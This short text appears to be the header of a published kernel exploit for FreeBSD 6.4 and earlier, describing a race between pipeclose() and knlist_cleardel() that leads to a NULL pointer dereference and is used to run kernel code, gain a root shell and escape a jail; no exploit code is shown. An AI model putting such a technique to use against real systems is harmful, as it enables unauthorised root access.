FreeBSD 6.4 pipeclose()/knlist_cleardel() Race Condition

`#if 0  
FreeBSD 6.4 and below are vulnerable to race condition between pipeclose() and  
knlist_cleardel() resulting in NULL pointer dereference. The following code  
exploits vulnerability to run code in kernel mode, giving root shell and  
escaping from jail.
